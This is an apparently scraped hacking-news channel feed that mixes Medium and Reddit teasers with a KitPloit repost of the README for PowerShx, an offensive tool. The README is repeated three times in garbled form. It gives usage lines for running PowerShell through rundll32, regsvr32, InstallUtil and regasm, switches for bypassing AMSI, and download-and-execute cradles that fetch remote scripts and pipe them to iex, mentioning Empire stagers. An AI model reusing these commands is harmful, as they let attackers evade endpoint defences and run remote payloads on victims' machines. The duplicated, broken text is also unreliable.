Hacking on Medium
SS7 Signalling

https://cdn-images-1.medium.com/max/1179/0*8WfxJEhv7coJGGz_.png
Global mobile use has been on a major upswing for quite some time. From toddlers who learn to operate a mobile phone before they can even…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Bluetooth Hacking

Bluetooth hacking is a technique used to get information from another Bluetooth enabled device without any permissions from the host. This…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

IDOR + Account Takeover leads to PII leakage
https://shivamrai24.medium.com/idor-account-takeover-leads-to-pii-leakage-fe075a8f602a?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Hi Fellow Hackers & Security Enthusiasts, Today I am going to write how due to IDOR and I was able to do Password Reset of any user and…Continue reading on Medium » (https://shivamrai24.medium.com/idor-account-takeover-leads-to-pii-leakage-fe075a8f602a?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

PowerShx - Run Powershell Without Software Restrictions
http://www.kitploit.com/2021/10/powershx-run-powershell-without.html

___________________________
@hacking_Attack
@Hacking_Video

Unmanaged PowerShell (https://www.kitploit.com/search/label/PowerShell) execution using DLLs or a standalone executable.
Introduction
PowerShx is a rewrite and expansion on the PowerShdll (https://github.com/p3nt4/PowerShdll) project. PowerShx provide functionalities for bypassing (https://www.kitploit.com/search/label/Bypassing) AMSI and running PS Cmdlets.
Features
Run Powershell with DLLs using rundll32.exe, installutil.exe, regsvcs.exe or regasm.exe, regsvr32.exe. Run Powershell without powershell.exe or powershell_ise.exe AMSI Bypass features. Run Powershell scripts directly from the command line (https://www.kitploit.com/search/label/Command%20Line) or Powershell files Import Powershell modules and execute Powershell Cmdlets.
Usage

.dll version

rundll32
rundll32 PowerShx.dll,main -f Run the script passed as argument rundll32 PowerShx.dll,main -f -c Load a script and run a PS cmdlet rundll32 PowerShx.dll,main -w Start an interactive console in a new window rundll32 PowerShx.dll,main -i Start an interactive console rundll32 PowerShx.dll,main -s Attempt to bypass AMSI rundll32 PowerShx.dll,main -v Print Execution Output to the console ">rundll32 PowerShx.dll,main -e
rundll32 PowerShx.dll,main -f Run the script passed as argument
rundll32 PowerShx.dll,main -f -c Load a script and run a PS cmdlet
rundll32 PowerShx.dll,main -w Start an interactive console in a new window
rundll32 PowerShx.dll,main -i Start an interactive console
rundll32 PowerShx.dll,main -s Attempt to bypass AMSI
rundll32 PowerShx.dll,main -v Print Execution Output to the console

Alternatives (Credit to SubTee for these techniques):
Calls DllUnregisterServer regsvr32 /s PowerShx.dll --> Calls DllRegisterServer ">1.
x86 - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShx.dll
x64 - C:\Windows\Microsoft.NET\Framework64\v4.0.3031964\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShx.dll
2.
x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe PowerShx.dll
x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe PowerShx.dll
3.
x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U PowerShx.dll
x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /U PowerShx.dll
4.
regsvr32 /s /u PowerShx.dll -->Calls DllUnregisterServer
regsvr32 /s PowerShx.dll --> Calls DllRegisterServer

.exe version
PowerShx.exe -f Run the script passed as argument PowerShx.exe -f -c Load a script and run a PS cmdlet PowerShx.exe -s Attempt to bypass AMSI. ">PowerShx.exe -i Start an interactive console
PowerShx.exe -e
PowerShx.exe -f Run the script passed as argument
PowerShx.exe -f -c Load a script and run a PS cmdlet
PowerShx.exe -s Attempt to bypass AMSI.

Embedded payloads
Payloads can be embedded by updating the data dictionary (https://www.kitploit.com/search/label/Dictionary) "Common.Payloads.PayloadDict" in the "Common" project and calling it in the method PsSession.cs -> Handle() . Example: in Handle() method: private void Handle(Options options)
{
// Pre-execution before user script
_ps.Exe(Payloads.PayloadDict["amsi"]);
}

Examples

Run a base64 encoded script
rundll32 PowerShx.dll,main [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex

PowerShx.exe -e [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex

___________________________
@hacking_Attack
@Hacking_Video

Note: Empire stagers need to be decoded using [System.Text.Encoding]::Unicode
Run a base64 encoded script
rundll32 PowerShx.dll,main . { iwr -useb https://website.com/Script.ps1 } ^| iex;

PowerShx.exe -e "IEX ((new-object net.webclient).downloadstring('http://192.168.100/payload-http'))"

Requirements
.NET 4
Known Issues
Some errors do not seem to show in the output. May be confusing as commands such as Import-Module do not output an error on failure. Make sure you have typed your commands correctly. In dll mode, interractive mode and command output rely on hijacking (https://www.kitploit.com/search/label/Hijacking) the parent process' console. If the parent process does not have a console, use the -n switch to not show output otherwise the application will crash. Due to the way Rundll32 handles arguments, using several space characters between switches and arguments may cause issues. Multiple spaces inside the scripts are okay.

Download PowerShx (https://github.com/iomoath/PowerShx)

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
PowerShx - Run Powershell Without Software Restrictions

https://blogger.googleusercontent.com/img/a/AVvXsEjRtrM7MFjiIp0D45-2479psm844UjmQ3-TFuXEAAIcqoMjYNStngrPEZA6Y5Ozsu0AnO_Lb5BnQW-o1oPS__V_UiA8XM02sfaCz1wtRutvd2LRaJjoqBumZtRc6vhJCpqVpBqByr9XuVnoPYRKhPxLp5W0JlMiZpaCDnqFor5VWvgD4Pab9r4gmP9zlg=w640-h248 Unmanaged PowerShell execution using DLLs or a standalone executable. IntroductionPowerShx is a rewrite and expansion on the PowerShdll project. PowerShx provide functionalities for bypassing AMSI and running PS Cmdlets. Features* Run Powershell with DLLs using rundll32.exe, installutil.exe, regsvcs.exe or regasm.exe, regsvr32.exe.
* Run Powershell without powershell.exe or powershell_ise.exe
* AMSI Bypass features.
* Run Powershell scripts directly from the command line or Powershell files
* Import Powershell modules and execute Powershell Cmdlets. Usage.dll versionrundll32rundll32 PowerShx.dll,main -e Alternatives (Credit to SubTee for these techniques):1.
x86 - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShx.dll
x64 - C:\Windows\Microsoft.NET\Framework64\v4.0.3031964\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShx.dll
2.
x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe PowerShx.dll
x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe PowerShx.dll
3.
x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U PowerShx.dll
x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /U PowerShx.dll
4.
regsvr32 /s /u PowerShx.dll -->Calls DllUnregisterServer
regsvr32 /s PowerShx.dll --> Calls DllRegisterServer .exe versionPowerShx.exe -i Start an interactive console
PowerShx.exe -e Embedded payloadsPayloads can be embedded by updating the data dictionary "Common.Payloads.PayloadDict" in the "Common" project and calling it in the method PsSession.cs -> Handle() . Example: in Handle() method: private void Handle(Options options)
{
// Pre-execution before user script
_ps.Exe(Payloads.PayloadDict["amsi"]);
} ExamplesRun a base64 encoded scriptrundll32 PowerShx.dll,main [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex

PowerShx.exe -e [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex Note: Empire stagers need to be decoded using [System.Text.Encoding]::Unicode Run a base64 encoded scriptrundll32 PowerShx.dll,main . { iwr -useb https://website.com/Script.ps1 } ^| iex;

PowerShx.exe -e "IEX ((new-object net.webclient).downloadstring('http://192.168.100/payload-http'))" Requirements.NET 4 Known IssuesSome errors do not seem to show in the output. May be confusing as commands such as Import-Module do not output an error on failure. Make sure you have typed your commands correctly.

In dll mode, interractive mode and command output rely on hijacking the parent process' console. If the parent p[...]

___________________________
@hacking_Attack
@Hacking_Video

rocess does not have a console, use the -n switch to not show output otherwise the application will crash.

Due to the way Rundll32 handles arguments, using several space characters between switches and arguments may cause issues. Multiple spaces inside the scripts are okay. Download PowerShx

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
VirusTotal Shares Data on Ransomware Activity

Google's online malware scanning service analyzed 80 million ransomware samples that were uploaded in the past year-and-a-half.

Dark Reading: Attacks/Breaches
What Does a Chief Product Security Officer Do?

A CPSO bridges the gap between developers and security to ensure products are built securely and safely.

Dark Reading: Attacks/Breaches
Are You Ready for the Privacy Laws Tsunami?

Think PCI, HIPAA, and GDPR compliance is tough? There's a tsunami of similar laws on the way. Prepare your business for success with privacy by design.

___________________________
@hacking_Attack
@Hacking_Video

PowerShx - Run Powershell Without Software Restrictions

Unmanaged PowerShell execution using DLLs or a standalone executable. Introduction PowerShx is a rewrite and expansion on the PowerShdll project. PowerShx provide functionalities for bypassing AMSI and running PS Cmdlets. Features Run Powershell with DLLs using rundll32.exe, installutil.exe, regsvcs.exe or regasm.exe, regsvr32.exe. Run Powershell without powershell.exe or powershell_ise.exe AMSI Bypass features. Run Powershell scripts directly from the command line or Powershell files Import Powershell modules and execute Powershell Cmdlets. Usage .dll version rundll32 rundll32 PowerShx.dll,main -e rundll32 PowerShx.dll,main -f Run the script passed as argumentrundll32 PowerShx.dll,main -f -c Load a script and run a PS cmdletrundll32 PowerShx.dll,main -w Start an interactive console in a new windowrundll32 PowerShx.dll,main -i Start an interactive consolerundll32 PowerShx.dll,main -s Attempt to bypass AMSIrundll32 PowerShx.dll,main -v Print Execution Output to the console Alternatives (Credit to SubTee for these techniques): 1. x86 - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShx.dll x64 - C:\Windows\Microsoft.NET\Framework64\v4.0.3031964\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShx.dll2. x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe PowerShx.dll x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe PowerShx.dll3. x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U PowerShx.dll x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /U PowerShx.dll4. regsvr32 /s /u PowerShx.dll -->Calls DllUnregisterServer regsvr32 /s PowerShx.dll --> Calls DllRegisterServer .exe version PowerShx.exe -i Start an interactive consolePowerShx.exe -e PowerShx.exe -f Run the script passed as argumentPowerShx.exe -f -c Load a script and run a PS cmdletPowerShx.exe -s Attempt to bypass AMSI. Embedded payloads Payloads can be embedded by updating the data dictionary "Common.Payloads.PayloadDict" in the "Common" project and calling it in the method PsSession.cs -> Handle() . Example: in Handle() method: private void Handle(Options options){ // Pre-execution before user script _ps.Exe(Payloads.PayloadDict"amsi");} Examples Run a base64 encoded script rundll32 PowerShx.dll,main System.Text.Encoding::Default.GetString(System.Convert::FromBase64String("BASE64")) ^| iexPowerShx.exe -e System.Text.Encoding::Default.GetString(System.Convert::FromBase64String("BASE64")) ^| iex Note: Empire stagers need to be decoded using System.Text.Encoding::Unicode Run a base64 encoded script rundll32 PowerShx.dll,main . { iwr -useb https://website.com/Script.ps1 } ^| iex;PowerShx.exe -e "IEX ((new-object net.webclient).downloadstring('http://192.168.100/payload-http'))" Requirements .NET 4 Known Issues Some errors do not seem to show in the output. May be confusing as commands such as Import-Module do not output an error on failure. Make sure you have typed your commands correctly. In dll mode, interractive mode and command output rely on hijacking the parent process' console. If the parent process does not have a console, use the -n switch to not show output otherwise the application will crash. Due to the way Rundll32 handles arguments, using several space characters between switches and arguments may cause issues. Multiple spaces inside the scripts are okay. Download PowerShx
Read more...

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Brute forcing Stegographic passwords

Competing in a CTF and know theres flags in these two images. I however don't know what the password is and I need to try to brute force it. Not sure what tools to use, stegcracker looks like my best bet, but will take any advice anyone has.

submitted by /u/shri3kin_band1t
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Power shell Kali

Has anybody changed their powershell to run Kali Linux on windows 10 and then updated to 11? If so did this cause issues? Is it safe to run?

submitted by /u/MustyMoist
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Htb Vs Industry
https://www.reddit.com/r/Pentesting/comments/q7mu1l/htb_vs_industry/

How does Hackthebox compare to actual, real life pentesting? Is it similar? Different? Easier or harder? submitted by /u/egaby1234 (https://www.reddit.com/user/egaby1234)
[link] (https://www.reddit.com/r/Pentesting/comments/q7mu1l/htb_vs_industry/) [comments] (https://www.reddit.com/r/Pentesting/comments/q7mu1l/htb_vs_industry/)

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
SnykCon CTF 2021 — Not Hotdog

https://cdn-images-1.medium.com/max/950/0*Xs9GrD7HtGYDNTTl.jpg
Cracking RSA with food

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video